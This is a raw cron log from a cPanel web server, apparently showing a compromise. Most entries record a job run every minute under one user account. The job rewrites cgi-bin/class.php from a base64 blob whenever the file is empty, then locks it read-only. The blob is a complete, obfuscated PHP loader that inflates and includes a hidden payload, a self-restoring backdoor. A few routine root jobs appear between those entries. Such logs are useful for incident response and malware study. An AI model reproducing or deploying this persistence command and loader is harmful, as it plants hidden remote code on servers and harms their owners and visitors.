Nov 15 05:17:01 server CROND[20894]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:18:01 server CROND[21149]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:19:01 server CROND[21412]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:20:01 server CROND[21777]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 05:20:01 server CROND[21781]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 05:20:01 server CROND[21782]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 05:20:01 server CROND[21783]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 05:20:01 server CROND[21784]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:21:01 server CROND[22106]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:22:01 server CROND[22383]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:23:01 server CROND[22662]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:24:01 server CROND[22931]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:25:01 server CROND[23301]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 05:25:01 server CROND[23302]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 05:25:01 server CROND[23303]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:26:01 server CROND[23626]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:27:01 server CROND[23893]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:27:01 server CROND[23894]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 05:28:01 server CROND[24157]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:29:01 server CROND[24435]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:30:01 server CROND[24804]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 05:30:01 server CROND[24805]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 05:30:01 server CROND[24813]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
